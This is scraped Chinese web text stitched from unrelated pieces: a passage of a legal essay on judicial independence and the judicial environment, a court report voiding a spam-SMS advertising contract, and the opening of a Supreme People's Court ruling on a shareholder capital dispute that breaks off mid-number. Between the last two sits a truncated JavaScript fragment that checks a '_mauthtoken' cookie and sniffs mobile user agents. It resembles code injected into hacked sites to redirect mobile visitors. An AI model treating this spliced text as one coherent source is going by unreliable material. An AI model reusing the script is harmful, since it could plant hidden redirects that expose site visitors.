总体上说,我国司法生态中的前述困窘也主要根源于我国推行法治的时间毕竟不长,社会各方面对法治社会生活尚不够熟悉这一现实,但其中有几个因素是需要特别揭示和强调的。 第一,社会各方面对司法地位的认知存在一定的偏差。司法受执政党的领导以及受立法机关的监督,这是我国司法工作的基本原则和基本制度,同时也是我国政治制度和政治运作架构的重要内容。这种基于国情的制度设计无疑是正确的。从理论上说,或者从制度设计的应有之意看,司法机关“受领导”、“被监督”与司法在具体司法事务上的自主性和自决权之间并不矛盾,“领导”与“监督”有其特定的内容和方式,在任何情况下,都不应影响司法对具体司法事务依法自主地作出决断。然而,现实中,司法这种“被领导”、“受监督”的地位往往被人们泛化地理解为在具体司法事务中司法自主性和自决权的不确定性。在这种认知逻辑中,既然是“被领导”、“受监督”,那么,领导者、监督者必定能够影响或主导司法机关在具体司法事务中的行为和判断,从而影响或决定司法事务的处理结果。正因为如此,一些权力者才会基于不同的动机对司法机关具体案件的处理提出意见甚而发号施令。出于相同的认知,司法案件中的一些当事人或利害关系人,也总是力图寻求能够影响司法过程和结果的政治力量,希望借助这些力量而获得利已的司法结果,或者在司法以外向“管得了司法的权力者”提出诉求,以实现其在司法中得不到满足的主张和愿望。 现实中存在的所谓“权力案”以及困扰各方的“涉法上访”现象正是缘此而生。类似的情况还有,在网络舆论中,舆论的表达对象往往也不直接是司法机关,而更主要指向的是政治权力机构。这些舆论的内在动机以及作用机理在于:通过舆论引发政治权力机构对相关事件的关注,进而通过政治权力机构影响司法机关,曲折地实现舆论所追求的效果。 这些现象归结到一点,即是司法的地位在社会认知、进而在实践中被一定程度上矮化。应该说,这种实际矮化司法地位的认识或作为是影响我国司法生态的首要原因。 第二,在突出司法的责任面相的同时,忽略或淡化了对司法尊严面相的重视和强调。基于“人民司法”的属性以及“司法为民”的司法理念,我国司法的政治和社会责任不断被突出强调。与此同时,司法自身也反复强调其服务功能和“亲民近民”的形象或举措,向社会各方面作出各种高标准的责任承诺。不仅如此,在我国现实条件下,任何特定社会身份的主体或社会群体都可以从主流意识形态或政治取向中找到其应受特别保护的理由和依据,从而为司法敷设某种政治或社会责任,藉以提高或强化其在面对司法时的相对位势。比如,地方党政组织强调司法应“服从和服务大局”;国有企业强调司法应保证国有资产不受流失;民营企业强调司法应保护私有财产利益,支持非公有制经济的发展;公民个人则可从“人民司法为人民”的原则中找到向司法提出种种要求的依据或正当性。所有这些,使得司法的责任面相显得更为突出。毋庸置疑,对司法政治和社会责任的强调是必要和必须的,但问题在于,在司法的责任面相被突出的同时,司法尊严的面相却或多或少受到忽略或被淡化。事实上,司法尊严是司法这一现象或实践的重要特性,亦是司法赖以存在的基础。无论是司法对个案的处置,抑或司法行为对社会行为的导向作用,都有赖于司法尊严的确立和支撑。在法治社会中,司法尊严本应作为一种社会信念、作为一种抽象存在而得到全社会的认同和维护;认同司法的存在,就必须认同和维护司法的尊严。这种认同和维护甚至不以司法的具体状况为前提,亦即不以司法水平的高下以及司法能力和大小等为前提。司法终局性解决原则的确立以及各种司法礼仪与程式的设置,都是基于对司法尊严的维护。因此,在我国社会中,司法既要有亲民近民、便民利民的一面,以保证司法对于普通智识水准的社会成员的可接近度和可参与性,但司法同时也必须有可敬、可畏,更不可藐视或轻贱的一面。然而,从现实看,如果说前者仍有改进和改善的必要与空间的话,那么后者则尚未引起全社会的普遍性重视,在确立和维护司法尊严方面的用心和有效举措更显得不足。这样的偏失,无疑对司法生态形成了重要的不利影响。 第三,提交司法处置的案件超出了司法的实际解决能力,司法承受着不能承受之重。众所周知,受社会转型及各种利益关系调整,市场经济快速发展而市场成熟过程较慢以及经济过程透明度与市场主体诚信度较低等多种因素的影响,近几十年来,我国各种社会矛盾纠纷大量出现,体现在司法层面上则是各类司法案件不断上升。 表面上看,司法机关在案件受理量上具有很大的弹性,被动性受案的制度性特征使司法机关在案件受理量方面呈现出具有无限可能的假象,但实际上,司法对案件的容量是有确定限度的;就阶段时期而言,司法机关的人力、物力、财力只能保证相应数量案件的处置。因此,无限制地被动受案以及受案量大幅度上升与有限的司法资源以及司法资源的实际短缺之间便成为我国司法长期所面临的基本矛盾。尽管多数司法机关及司法人员长时期超负荷运作,仍然无助于这一矛盾的缓释。 作为这一矛盾的必然结果,不仅司法处置案件的周期被拉长,在依普通程序审理的案件中,多数案件都很难严格在法定期限内结案,而且案件处理的质量也会受到一定影响。更为重要的是,由于很多个案纠纷的形成,与近几十年来社会分配不公、社会管理失误、社会建设滞后、社会发展失衡以及政府行为失信等因素相关,在个案纠纷中蕴含着当事人与社会管理者之间的矛盾和冲突,仅仅从司法角度上作出是非判断及权益关系的处理,是难以真正解决纷争或消除对抗的,因而在这些案件中,不仅败诉者不可能认同司法裁判,而且胜诉者也可能对司法心怀不满。作为司法案件与司法资源、司法能力不够匹配甚而严重失衡所带来的后果之一,自然是社会各方面对司法不同程度的抱怨,以及对司法正面肯定性评价的减弱和负面性批评的增加,而当这些弥漫为具有一定普遍性的社会情绪时,司法则难免会陷于某种困窘之中。 第四,司法的功能、特征等客观本相并未被社会所充分认知,社会对司法的期待和要求过度地高于司法的实际能力。前面提到,在任何社会中,社会公众对司法的期待和要求通常都会高于司法的实际能力,但这种差异在我国现实中则因为某些特殊因素被进一放大。首先,我国法治知识的普及与教育仍然处于起步阶段,严格地说,不少社会成员尚未完成法治知识的启蒙,对司法的了解既不充分,亦不全面。更值得重视的是,在某些法治的宣传教育中,传统法治理论所抽象出的司法特征,亦即:能够解决包括政治争议在内的一切社会纠纷的司法功能;绝对独立或中立、不受任何影响的司法机关或司法过程;公正无私且聪明睿智的法官;象“售货机”售货一样简单的司法过程等等,被描绘为司法的一般或普遍形态,由此对社会公众认知和了解司法产生了一定的误导,尤其是吊高了人们对司法的期望值。 其次,由于我国具有“政审合一”的历史传统,新政权建立后,尽管政、审机构及功能已经明确分开,但“人民政府”与“人民司法”中的“人民”共同属性又在一定程度上模糊了两者之间在认知上的界线。在相当一部分社会公众看来,无论是人民政府还是人民法院或人民检察院,都体现或代表着社会管理者,因此,一切以社会管理者为对象的诉求都可向司法机关提出和表达,而司法则有责任、也有能力解决社会管理者所应解决的一切问题,甚至应当承担社会管理者所应承担的一切责任。毫无疑问,这样一种期待已然超出了司法所可能的作为。无论基于何种原因,当司法的功能被不切实际放大从而使社会成员对司法的期待与要求过度脱离司法的实际能力与条件时,接踵而来或伴之而生的便是对司法现实不同程度的失望,而当这种失望体现为对待司法的一种主动性态度时,司法在社会中的信任或支持度势必会受到影响,这也是造成司法困窘的一个重要原因。 四、我国司法生态改善的三个基础性问题 影响我国司法生态的因素很多,亦很复杂,因而改善我国司法生态所涉及的面也很宽,需要解决的问题也会很多,但我认为,下述三方面问题是基础性的,必须成为认识和实践上的着眼点。 (一)主导政治力量如何切实保障司法权依法独立行使 从我国现实看,司法生态的改善首先需要解决的问题是司法权依法独立行使能够得到保障;而保障司法权依法独立行使的关键又在于主导政治力量对待司法的态度。众所周知,保障司法权依法独立行使是我国宪法规定的一项重要原则。不仅如此,在当下全面推进依法治国、深化司法改革的具体措施中,有诸多内容是围绕这一目标而提出的,如禁止党政领导干部插手或干预司法案件、司法机关人财物省级统管、司法职务单独序列管理、加强司法职业保障等等。所有这些措施,对保障司法权依法独立行使无疑会起积极作用。然而,司法权依法独立行使牵涉到意识形态、政治制度等深层次问题,如果不厘清其中所蕴含的机理及相关关系,即便在制度层面有所明确,仍然难以避免认识上的偏误及实践中的偏失。 在我国法学理论语境乃至在一些社会认知中,司法权依法独立行使与司法独立常常是裹杂在一起的。虽然,司法独立是西方法治所奉行一项基本原则,并且是由西方国家所主导的各种国际组织所推崇的法治的“标准性要素”, 但基于国情和传统等因素,我国在制度上和主流意识形态中,既不认同司法独立,也不采用“司法独立”这样的表达。因此,司法独立在非官方话语中的强调与其在官方话语中的禁忌,使得司法独立与司法权依法独立行使这两者之间的关系并未得到透彻的讨论和阐释。 事实上,“司法独立”的语意或内涵是复杂的, 仅就司法与外部的关系看,也具有多个层次:一是“三权分立”意义上的司法独立,亦即与立法、行政相分立的司法独立。作为与特定政体建构相联系的一个要素,这种意义上的司法独立,当然不为我国所接受和承认。二是与政治、尤其与政党政治相隔绝的司法独立。尽管西方主流意识形态刻意强调司法独立的这层涵义,但西方国家的长期实践以及揭示和描述这种实践的大量理论著述都表明,这种司法独立并不真实存在,政党通过司法人员任免以及意识形态对司法产生着重要影响, 以至于批判法学派认为:“司法就是政治” 。三是司法自主和自决意义上的司法独立,亦即司法机构或司法人员独立行使司法权,不受任何组织和个人的干预或干涉。这一意义上的司法独立,与我国司法权依法独立行使,基本是相同或相通的。由此看来,尽管出于多方面的考量,我国不使用“司法独立”这一概念,但在制度层面和主流意识形态中,对司法权行使的独立性是明确承认并致力于维护的;因而不应因讳忌“司法独立”这一概念而回避或淡漠对这种独立性的强调。 从最直接的意义上说,司法权独立行使的机理建诸于三个基本方面:其一,它是一种政治技术。通过司法权独立行使,让司法独立地面对和解决各种社会矛盾,从而在一定程度上切割社会矛盾与主导政治力量之间联系,避免社会矛盾中所潜含或蓄积的冲突和对抗直接指向主导政治力量,进而形成对政权或执政者的不满和抱怨。在具有“政审合一”历史传统的我国,这方面的意义尤为突出。其二,它是司法本身的客观和必然要求。司法要取得广泛的社会信任,要具有权威性,并且要保证其公正性,必须有一定的独立性。“社会对司法部门的尊重是涉及司法部门的独立性的主要理由之一。” 司法权如果不能独立地行使,无疑会沦为一种“拉偏架”的纠纷解决方式。其三,它也是一种政治秩序。 司法权与其他各种政治权力的联系很紧密,并且有多方面的交集;不仅如此,由于司法权具有一定的派生性和从属性(如前所述,司法只是一种政治装置),相比之下,其他政治权力往往具有更高的实际位势,因而如果司法权行使的独立性得不到高度重视和强调,势必会受到其他政治权力的侵蚀或干涉,因此,坚持和保障司法权独立行使,也是对基本政治秩序的坚守和维护。前述三个方面,尽管是近于常识的简单道理,但明确这些,至少可以得出这样的结论:承认并保障司法在特定意义上独立性,不仅不会损伤政治权力,而且还有利于政治权力的巩固和提升;而认清这一点,对于消除当下人们在意识形态领域中对司法权行使独立性的疑虑和纠结,无疑是必要的。 在实践层面上,保障司法权依法独立行使似应着力解决这样几个问题:第一,进一步明确和规范党对司法领导与人大对司法监督的内容以及途径与方式。党的领导集中体现在:(1)政治领导,主要指司法应服从并致力于贯彻实施党的路线、方针、政策;(2)组织领导,主要指司法人员,尤其是司法机关领导干部的选任由党组织把关;(3)思想领导,主要指司法人员应经常不断地接受党组织的主流意识形态的教育。人大的监督则应坚持:(1)组织监督,以组织形式进行监督,而不是人大成员个人对司法实施监督;(2)一般监督,对司法工作整体状况进行监督,而不是对某个司法个案进行监督;(3)事后监督,即便某些案件反映出司法机关的普遍性问题,也应在相关案件司法程序完结后针对普遍性问题进行监督,而不是在司法程序进行过程中针对个案的处置进行监督。 第二,进一步划清司法权与其他政治权力之间的边界。总体原则是,依法属于司法主管的事务,完全交由司法机关依照司法程序解决;不属于司法职能的事务,不应要求司法机关承担。据此,(1)党政组织对于涉及司法问题的上访,一律交由司法机关处理,并且党政组织不对问题的实体处理提出任何意见,逐步堵死涉法上访的通道,直至这种现象完全绝迹;(2)纪检委只负责党政干部违纪问题的查处,在查处中发现有犯罪线索的,即转交司法机关侦办,而不宜替代司法机关对涉嫌犯罪问题进行深度侦查,更不应对相关行为的事实及性质作出定论。这也是反腐由治标向治本转变,实现制度化反腐的必然要求。(3)党政组织不得要求司法机关参与司法职能以外的任何事务的处理,不得为司法机关设置司法职责以外的责任和义务。 第三,充分保障司法在司法事务中的自主性和自决权。在我国现实条件下,对于极少数具有重大社会影响的案件,党委政法委参与意见的情况事实上仍不可避免,但无论如何,都应尊重司法机关的主导地位,保证和保持司法机关在实体或程序问题处理上的自主性和自决能力。 (二)全社会应当形成和确立怎样的司法观? 改善司法生态也迫切需要从司法的真实本相出发,适度调校人们对司法的基本认知,在全社会形成并确立正确的司法观。 确立正确的司法观,首要方面自然是倡导全社会尊重司法、信赖司法,认同司法的权威,但当下更为重要或更为现实的问题是,引导全社会对司法这一社会实践的特异性、客观局限性形成恰当的认识,并在下述几个方面建立明确的共识:第一,并不是所有的社会矛盾和社会纠纷都能通过司法手段加以解决。这不仅指司法就其容量而言不能包揽全社会所有矛盾和纠纷,同时也指司法这种手段只适用于某些矛盾和纠纷的解决。庞德较早揭示过法律、从而也是司法的这种局限性,指出“法律作为一种社会工具存在着三种重要的限制” ;当代美国法学家考默萨在《法律的限度》中把“人数众多、关系复杂”理解为司法手段运用的实际制约因素。考默萨认为,在人数众多,诉求多样,各种诉求均有合理性、合法性而解决方式又不能兼容的情况下,司法手段的尴尬和无奈便不可避免。 第二,司法有其特定的解决矛盾和纠纷的程序和方式。首先,司法需要把矛盾和纠纷通过证据等方式转换成司法认知与判断的模式,在司法语境中重新还原和叙述矛盾和纠纷的过程。因此,在司法中认定的法律事实与矛盾和纠纷原初的自然事实很可能不一致。也就是说,司法只能力求接近客观事实的真相,而不能完全回复真相。这也意味着通常所谓的“实事求是”,在司法中实际上是不可能绝对做到的。其次,司法程序有它的终局性,在经历了所有法定程序后,即便矛盾和纠纷仍未得到恰当处置,亦只能就此终结。因此,严格说来,“有错必纠”也不完全适合于对司法的要求。再次,司法始终只能根据既有的利益范围在当事人之间分配资源,而不能为当事人提供新的资源;对于需要增加资源才能消弥的矛盾和纠纷,司法也只能抱撼以对。因此,所谓的“案结事了”也只能是一种良好愿望而已。第三,司法对公平正义的理解和把握有其确定的标准,与非专业人士的社会认知也有一定差异。诸如诉讼时效、程序失权、疑罪从无等司法中常规适用的制度或原则并不能为社会公众所普遍理解;依据这些制度或原则而处置的案件,其公正性亦很难得到社会公众的普遍性认同。 不仅如此,司法永远无法迁就部分社会成员在朴素情感上所形成而与这些制度或原则明显悖离的“公平正义”观念。第四,司法始终受制于立法资源的限制。一方面,对于立法尚没有作出规定的新型社会关系和社会生活中的新领域、新问题,司法难以接纳其中所滋生的矛盾和纠纷,或者虽然受理,但由于缺少贴切的法律依据,难以恰当加以处理;另一方面,由于立法具有一定的滞后性,因而立法中某些条款随着情势的变化而可能丧失其合理性或公正性,对此,司法亦很难超越现行立法的规定而调整这种偏差。这也意味着司法往往需要直接承受立法不公或立法缺失的后果。第五,司法是一种成本较高甚而昂贵的矛盾和纠纷解决方式。 就普通诉讼程序而言,任何一个案件的司法处置,在人力、物力、财力方面的耗费都会是很大的,特别是在“案多人少”矛盾极为突出的情况下,司法手段运用的边际成本更高。因此,鼓励一切纠纷都通过司法途径解决,甚至倡导“打一元钱官司”的主张,既是对司法功能的一种误解,也是对“法治观念”或“法治意识”的一种片面认识。第六,司法不可能保证或做到不出现错案、甚至冤案或假案。受人的认知能力的局限和有限理性的制约,加之前面所提到的一些因素,司法如同其他社会活动一样,其产品在概率上始终会有不同程度的缺陷。任何社会中,再完善的司法也会产生冤假错案。 “古今中外,冤假错案总是刑事司法领域中难以驱散的幽灵。” “审判可能出现错误,甚至极可能出现错误,不,非常确定错误迟早会出现,”在司法领域,“不管我们怎样努力避免错误,错误总是在所难免” 。因此,司法需要全社会对之付以必要的包容,尤其不应因极少数冤假错案的存在而对司法工作整体予以否定。 指出司法的前述这些特性决不意味着要求人们完全消极地接受一个“不完美的司法”,更不意味着藉借这些特性掩饰司法现实中存在的问题,主要还是希望说明,社会各方面应当全面、理性地了解和看待司法,在看到司法种种积极功能并据以对其抱有很高期待的同时,也能够理解司法领域中这些不以人们主观愿望所转移、甚至与司法自身努力无关的客观局限,在全社会建立共同的对司法的认知基础。唯有如此,司法才会获得宽容的生存空间。 (三)司法如何体认和履践自己的政治和社会角色? 尽管司法生态所体现的是外部因素对司法的影响,但司法生态的改善则并不完全取决于外部因素的变化。更进一步说,前面所提到的我国司法生态中的某些因素,实际上也是我国的固有国情,难以寄望通过人为努力在短时期中发生根本性改变,因此,改善司法生态的另一基础性问题就不能不反致于司法自身,亦即司法如何体认并履践自己的政治和社会角色,包括如何自如地存在并恰当地适应这种特定的社会条件和社会环境。 概括地说,司法体认并履践自己的政治和社会角色,应参照或依据于下述三个基点: 第一,主导政治力量对司法政治功能的要求与期待。这也是司法为自己建立政治正当性以及找准自己政治定位的基本参照和依据。从这一基点出发,一是把司法职能有机融入到主导政治力量国家治理和社会发展的政治功能之中,特别是通过最高司法机构把主导政治力量的路线、方针和政策适时地转化为阶段性司法工作的重点、司法政策及司法取向,在司法过程中体现这些路线、方针和政策的要求,亦即达玛什卡所说:“能动主义司法的最终目的在于将国家政策贯彻到法官所审理的案件之中。” 二是妥善处理和解决社会变革过程中出现的各种社会矛盾和纠纷,尤其是防止这些矛盾和纠纷累积并衍变为大规模的社会对抗,进而影响社会稳定和安定,影响政权的稳固。三是在社会全面转型的背景下,通过司法建构和型塑主导政治力量所希望的社会结构和社会关系,倡导和维系主导政治力量所希望的社会秩序,推动社会变迁和社会转型。 第二,对司法权依法独立行使的维护以及对司法自主地位的珍重。不可否认,在司法权依法独立行使方面,司法往往处于弱势地位,且具有一定的被动性,但同样应当看到的是,现实中这方面所存在的问题,与部分司法机关领导思想意识不健康、政绩观不正,为谋取利已评价、“搞好关系”而放弃原则甚而曲意逢迎亦不无联系。因此,司法在体认和履践自身政治和社会角色时,必须建立明确的维护司法权依法独立行使的意识,保持必要的自尊和自重。一是始终坚持在具体司法事务处理上的主导地位,保持对司法程序和司法结果的终极性话语权。二是敢于并善于抵制不同势力以各种不同形式直接或间接对司法权行使过程及结果的干预和影响,特别是要落实党政领导干部过问案件情况登记制度。三是立足司法职能,不向地方党政组织主动承揽任何超越司法职能的事务,也不接受地方党政组织对司法机关提出的类似要求,包括不参与司法程序以外为处理某些事件或纠纷而设立的“领导小组”等类似的工作机构,始终把自己的行为界域限制在司法职能之内及司法程序之中。四是不接受人大代表、政协委员个人(包括以多人名义)基于非组织化途径而实施的所谓“个案监督”,同时应适当淡化对“两院”工作报告通过的“得票率”意识,尤其应避免刻意追求“两院”工作报告高票甚至全票通过。道理十分浅显:“在一定程度上,审议报告的投票多少并不能够客观地反映法院的工作。” 同时,过度追求得票率势必会损伤司法尊严并扭曲司法行为。 第三,保持司法与社会生活恰当融合这也是司法体认和履践政治和社会角色所必须考量的另一个基点。维护司法权依法独立行使决不意味着司法机关僵化、机械地适用法律,闭门司法。改善司法生态既需要社会各方面正确认知司法,同时也需要司法全面了解社会,贴近于社会生活,根植于社会实践。事实上,现代司法发展的一个重要趋势就是司法逐步放弃其自闭、自洽、矜持的特性,而更加富有开放性和包容性。这一方面体现于司法对社会生活的影响渐次深入,另一方面也在于司法与社会生活的相融度不断提升。无论在奉行实用主义进路的美国,抑或在具有保守主义传统的大陆系国家,当代司法都不同程度地显现出这一趋势。波斯纳批评“法官对真实世界不上心”以及法官普遍存在着法律教义以外的知识缺失的现象, 这种批评的背后潜含着对司法更加贴近和融合于现实的社会生活的客观要求。在国情因素较为特殊、社会分层所引起的社会同质化程度较低,以及社会转型过程中社会生活复杂多变的当代中国,司法更应顺应这样的趋势。为此,一是要密切关注社会发展的动态,把及时有效地解决社会生活中的现实性矛盾和问题作为司法的根本任务,尽可能保持司法功能的发挥与社会发展节奏的同步,减少司法的滞后性。正如霍姆斯所说:“对一个坚实法律体系的第一要求是,它应当回应该社区的实际感受和要求,无论其是对还是错。” 二是要了解并尊重社会生活的实际过程和基本逻辑,特别是对经济类矛盾和纠纷是非的判断应当在符合法律规范的前提下,保持对经济交往基本习惯的尊重,尽可能寻求“司法之理”与社会生活的逻辑的契合,避免两者格格不入,互相龃龉,以至于出现“司法不解社会之风情”的现象。三是注重常情、常理、常识与法律规范的适调,在人民群众朴素公正平义观与司法对公平正义的把握之间寻求最大公约数,一方面最大限度地承认并包容常情、常理、常识在实际生活中对人们行为的支配和影响作用,另一方面引导社会成员的公平正义观的进化与改善,逐步把一些技术性较强的法律原则和原理转化为社会成员普遍认同的常情、常理和常识。四是高度重视个案处置的社会效果,综合考量案件所关涉的各种因素,保持对个案司法处置的边际效果和间接影响的恰当预期,努力追求法律效果与社会效果的统一。需要指出的是,我国有学者基于对司法权独立行使的倡导和维护,主张放弃对政治效果、社会效果、法律效果统一的追求,理由是“司法的政治效果、社会效果和法律效果的统一客观上导致政治效果、社会效果超越法律效果” ...

无锡市掌柜无线网络技术有限公司诉无锡嘉宝置业有限公司网络服务合同纠纷案

双方当事人明知所发送的电子信息为商业广告性质,却无视手机用户群体是否同意接收商业广告信息的主观意愿,强行向不特定公众发送商业广告短信息,侵害不特定公众的利益,所发送的短信息应认定为垃圾短信,其签订的相关合同无效,所涉价款属于非法所得,人民法院应予收缴。 原告:无锡市掌柜无线网络技术有限公司。 法定代表人:钟丛姜,该公司总经理。 被告:无锡嘉宝置业有限公司。 法定代表人:华玲燕,该公司董事长。 管理人:无锡嘉宝置业有限公司清算组。 无锡市掌柜无线网络技术有限公司 (以下简称掌柜网络公司)与被告无锡嘉宝置业有限公司(以下简称嘉宝公司)发生网络服务合同纠纷,向江苏省无锡市南长区人民法院提起诉讼。 原告掌柜网络公司诉称:2013年4月 23日,掌柜网络公司与被告嘉宝公司签订《企业短消息发布业务合作协议书》(以下简称《短消息合作协议书》)1份,约定掌柜网络公司向嘉宝公司提供定向移动信息发布服务,单价为:普通短信0.04元/条,小区定投0.1元/条,嘉宝公司根据双方确认的《信息服务执行确认单》所定的合同总金额向掌柜网络公司付款,嘉宝公司应于第二个月向掌柜网络公司支付已执行的信息费用。至诉讼时,掌故网络公司已执行信息服务总金额计8.4万元,但嘉宝公司未按约支付该费用,掌柜网络公司多次催讨未果,遂起诉来院,要求判令:1.嘉宝公司立即支付拖欠掌柜网络公司信息服务费共计8.4万元;2.本案诉讼费由嘉宝公司承担。 原告掌柜网络公司为支持其诉讼请求,提供了以下证据: 1.《短消息合作协议书》1份,证明双方之间的权利和义务。 2.《信息服务执行确认单》10份,证明掌柜网络公司已按约履行合同义务,并已得到嘉宝公司确认。 3.税务发票存根联3份及签收单1份,证明掌柜网络公司应嘉宝公司的要求先行开具发票,但实际上嘉宝公司并未支付相应款项。 经质证,被告嘉宝公司对上述证据均无异议。 被告嘉宝公司管理人辩称:对原告掌柜网络公司诉称的事实及信息服务金额均无异议,由法院依法处理。 被告嘉宝公司未提供证据。 综合当事人举证、质证,原告掌柜网络公司提交的证据均符合证据的形式要件,可以作为证据使用。 无锡市南长区人民法院经审理查明: 2013年4月23日,原告掌柜网络公司与被告嘉宝公司签订《短消息合作协议书》1份,约定掌柜网络公司在嘉宝公司指定的时间、内容、区域、手机用户群体为嘉宝公司发布其所提供的有关移动信息服务;单价为普通短信0.04元/条、小区定投 0.1元/条;在移动信息服务执行中因考虑到时间、内容、区域、手机用户群体等随时调整的不确定性,发送时间、内容、区域、手机用户群体不作为合同附件;嘉宝公司应按照《信息服务执行确认单》所确定的时间和相应付款方式向掌柜网络公司全额支付移动信息发送业务服务费;基于保密义务,掌柜网络公司有权不对嘉宝公司开放其所掌握的手机用户数据;嘉宝公司根据双方确认的《信息服务执行确认单》所定的合同总金额进行付款,嘉宝公司应于第二个月支付掌柜网络公司已经执行的信息费用;嘉宝公司付款时应严格对照掌柜网络公司所提供的相关发票和掌柜网络公司加盖公章的《收款人委托书》,否则因此造成的资金损失由嘉宝公司承担。 同年5月10日、5月25日,被告嘉宝公司销售主管黄伟在2份原告掌柜网络公司出具给嘉宝公司的《信息服务执行确认单》上签字,确认单主要载明的内容分别为:“……2013年5月委托掌柜网络公司提供的信息服务已经执行完毕,具体执行情况如下:信息服务时间:2013年5月10日;信息服务数量:10万条;单价0.04,合计金额4000元;信息服务内容:品质豪宅,压轴登场!太湖广场核心醇熟配套,360度运河景观,93-388平全系极致繁华!中央官邸5月盛大公开! 83333888”;“……2013年5月委托掌柜网络公司提供的信息服务已经执行完毕,具体执行情况如下:信息服务时间:2013年5月 25日;信息服务数量:10万条;单价0.04,合计金额4000元;信息服务内容:臻品共鉴!中央御景官邸即将发售。全石材干挂,智能化家居。傲居太湖广场 CBD,尊享上层生活。83333888”。 2013年6月12日、6月17日、6月21日、6月25日、6月26日、6月29日、6月 30日、7月27日,被告嘉宝公司销售总监朱月峰分别在8份《信息服务执行确认单》上签字,确认结欠原告掌柜网络公司服务费金额分别为1万元、1万元、0.8万元、0.8万元、1万元、1万元、1万元、1万元。该8份确认单均载明了信息服务时间、数量、单价、小计金额、合计金额等内容,信息服务内容均为与前述两份《信息服务执行确认单》内容相似的房产销售广告。 上述10份《信息服务执行确认单》累计金额为8.4万元。 2013年5月31日、7月1日、9月3日,原告掌柜网络公司开具3张发票给被告嘉宝公司,金额分别为0.8万元、6.6万元、1万元,合计8.4万元。同时,在掌柜网络公司发票签收单上,嘉宝公司财务人员蒋忠芬作为签收人在该单据上签字,确认收到上述3张发票。 审理中,原告掌柜网络公司述称:1.《短消息合作协议书》中约定的“小区定投”的概念为掌柜网络公司按照被告嘉宝公司提供的客户手机号码来定向投放短消息;“普通短信”的概念为掌柜网络公司在网上搜索无锡号段的手机号之后进行随机投放,至于发送的号码是谁,掌柜网络公司并不清楚;2.掌柜网络公司并未对嘉宝公司提供的手机用户是否同意接收信息进行审查;3.发送短信的成本无法计算也无法提供成本依据。 被告嘉宝公司的管理人述称:在嘉宝公司提供给掌柜网络公司发送短信的手机用户中,并未征得手机用户的同意。 另查明,被告嘉宝公司经营范围包括房地产开发及经营。2014年10月15日,法院裁定受理江苏银行股份有限公司无锡分行等人对嘉宝公司的重整申请,并指定无锡嘉宝置业公司清算组担任嘉宝公司管理人。 无锡市南长区人民法院认为: 当事人订立、履行合同,应当遵守法律、行政法规,尊重社会公德,不得扰乱社会经济秩序,损害社会公共利益。本案中,根据原告掌柜网络公司与被告嘉宝公司签订的《短消息合作协议书》及双方陈述,双方在对所发送的电子信息的性质充分知情的情况下,无视手机用户群体是否同意接收商业广告信息的主观意愿,强行向不特定公众发送商业广告,违反网络信息保护规定、侵害不特定公众的利益,该合同应属无效,所发送的短信应认定为垃圾短信。因掌柜网络公司对该协议已履行完毕、嘉宝公司客观上已实际受益;而掌柜网络公司作为网络服务提供者,在订立、履行合同过程中,违反电子信息发布规定,故意向不特定公众发送垃圾短信,行为恶劣,应予惩戒;故本院对该服务费另行制作决定予以收缴。 综上,无锡市南长区人民法院依据《中华人民共和国合同法》第七条、第五十二条、全国人民代表大会常务委员会《关于加强网络信息保护的决定》第七条、第十一条之规定,于2014年12月11日作出判决: 驳回原告掌柜网络公司的诉讼请求。 宣判后,双方当事人均未在法定期限内提起上诉,判决已发生法律效力。 2014年12月31日,无锡市南长区人民法院依据《中华人民共和国民法通则》第一百三十四条第三款、最高人民法院《关于贯彻执行〈中华人民共和国民法通则〉若干问题的意见(试行)》第一百六十三条、全国人民代表大会常务委员会《关于加强网络信息保护的决定》第七条、第十一条之规定,作出民事制裁决定: 对嘉宝公司所欠掌柜网络公司的服务费84 000元予以收缴。 决定送达后,嘉宝公司未在法定期限内申请复议,决定已发生法律效力。if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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大拇指环保科技集团(福建)有限公司与中华环保科技集团有限公司股东出资纠纷案

按照《中华人民共和国涉外民事关系法律适用法》第十四条第一款的规定,我国外商投资企业与其外国投资者之间的出资义务等事项,应当适用中华人民共和国法律:外国投资者的司法管理人和清盘人的民事权利能力及民事行为能力等事项,应当适用该外国投资者登记地的法律。 《中华人民共和国公司法》第十三条规定,公司法定代表人变更应当办理变更登记。对法定代表人变更事项进行登记,其意义在于向社会公示公司意志代表权的基本状态。工商登记的法定代表人对外具有公示效力,如果涉及公司以外的第三人因公司代表权而产生的外部争议,应以工商登记为准。而对于公司与股东之间因法定代表人任免产生的内部争议,则应以有效的股东会任免决议为准,并在公司内部产生法定代表人变更的法律效果。 最高人民法院 民事裁定书 (2014)民四终字第20号 上诉人(原审被告):中华环保科技集团有限公司 (SINO-ENVIRONMENT TECHNOLOGY GROUP LIMITED)。 代表人:Hamish Alexander Christie,该公司清盘人。 委托代理人:丹平原,北京市正见永申律师事务所律师。 委托代理人:邓慧琼,北京市正见永申律师事务所律师。 被上诉人(原审原告):大拇指环保科技集团(福建)有限公司。 法定代表人:洪臻,该公司董事长。 委托代理人:邓志煌,福建知信衡律师事务所律师。 委托代理人:夏小莉,福建知信衡律师事务所律师。 上诉人中华环保科技集团有限公司 (以下简称环保科技公司)因与被上诉人大拇指环保科技集团(福建)有限公司(以下简称大拇指公司)股东出资纠纷一案,不服福建省高级人民法院(以下简称福建高院)于2013年12月18日作出的(2013)闽民初字第43号民事判决,向本院提起上诉。本院受理后,依法组成合议庭于2014年6月11日公开开庭对本案进行了审理,环保科技公司的委托代理人丹平原、邓慧琼,大拇指公司的委托代理人邓志煌、夏小莉到庭参加诉讼。本案现已审理终结。 大拇指公司于2012年4月27日向福州市中级人民法院(以下简称福州中院)起诉称:大拇指公司系由注册于新加坡的环保科技公司在中国设立的外商独资企业,于2000年6月30日取得营业执照,注册资本1.3亿元人民币(以下币种同)。2008年6月30日,大拇指公司经批准注册资本增至3.8亿元,增资部分分期至2010年8月3日缴清。至2009年5月19日,实收注册资本为185 221 